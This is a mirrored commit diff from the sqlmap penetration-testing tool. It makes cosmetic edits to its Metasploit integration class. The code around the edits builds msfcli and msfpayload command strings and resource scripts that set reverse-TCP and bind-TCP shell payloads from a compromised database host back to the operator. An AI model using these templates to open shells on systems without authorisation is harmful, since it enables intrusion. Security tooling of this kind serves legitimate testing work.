mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-09-13 23:52:27 +03:00
Minor cosmetic fixes
This commit is contained in:
parent
22ed09a358
commit
862cc9ac53
|
@ -53,12 +53,9 @@ class Metasploit:
|
||||||
self.payloadStr = None
|
self.payloadStr = None
|
||||||
self.encoderStr = None
|
self.encoderStr = None
|
||||||
self.payloadConnStr = None
|
self.payloadConnStr = None
|
||||||
|
|
||||||
self.resourceFile = None
|
self.resourceFile = None
|
||||||
|
|
||||||
self.localIP = getLocalIP()
|
self.localIP = getLocalIP()
|
||||||
self.remoteIP = getRemoteIP()
|
self.remoteIP = getRemoteIP()
|
||||||
|
|
||||||
self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
self.__msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
||||||
self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
|
self.__msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
|
||||||
self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
self.__msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
||||||
|
@ -79,7 +76,7 @@ class Metasploit:
|
||||||
"windows": {
|
"windows": {
|
||||||
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||||
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
||||||
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" )
|
||||||
},
|
},
|
||||||
"linux": {
|
"linux": {
|
||||||
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||||
|
@ -304,16 +301,15 @@ class Metasploit:
|
||||||
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self.__cliCmd += " LPORT=%s" % self.portStr
|
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||||
|
#self.__cliCmd += " ExitOnSession=true"
|
||||||
|
|
||||||
if self.payloadStr == "windows/vncinject":
|
if self.payloadStr == "windows/vncinject":
|
||||||
self.__cliCmd += " DisableCourtesyShell=1"
|
self.__cliCmd += " DisableCourtesyShell=1"
|
||||||
|
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
||||||
|
|
||||||
elif self.connectionStr.startswith("reverse"):
|
elif self.connectionStr.startswith("reverse"):
|
||||||
self.__cliCmd += " LHOST=%s" % self.lhostStr
|
self.__cliCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
@ -332,13 +328,12 @@ class Metasploit:
|
||||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||||
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
||||||
self.__resource += "set LPORT %s\n" % self.portStr
|
self.__resource += "set LPORT %s\n" % self.portStr
|
||||||
|
#self.__resource += "set ExitOnSession true\n"
|
||||||
|
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
self.__resource += "set RHOST %s\n" % self.rhostStr
|
self.__resource += "set RHOST %s\n" % self.rhostStr
|
||||||
|
|
||||||
elif self.connectionStr.startswith("reverse"):
|
elif self.connectionStr.startswith("reverse"):
|
||||||
self.__resource += "set LHOST %s\n" % self.lhostStr
|
self.__resource += "set LHOST %s\n" % self.lhostStr
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
@ -352,6 +347,7 @@ class Metasploit:
|
||||||
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||||
|
#self.__payloadCmd += " ExitOnSession=true"
|
||||||
|
|
||||||
if self.connectionStr.startswith("reverse"):
|
if self.connectionStr.startswith("reverse"):
|
||||||
self.__payloadCmd += " LHOST=%s" % self.lhostStr
|
self.__payloadCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
|
Loading…
Reference in New Issue
Block a user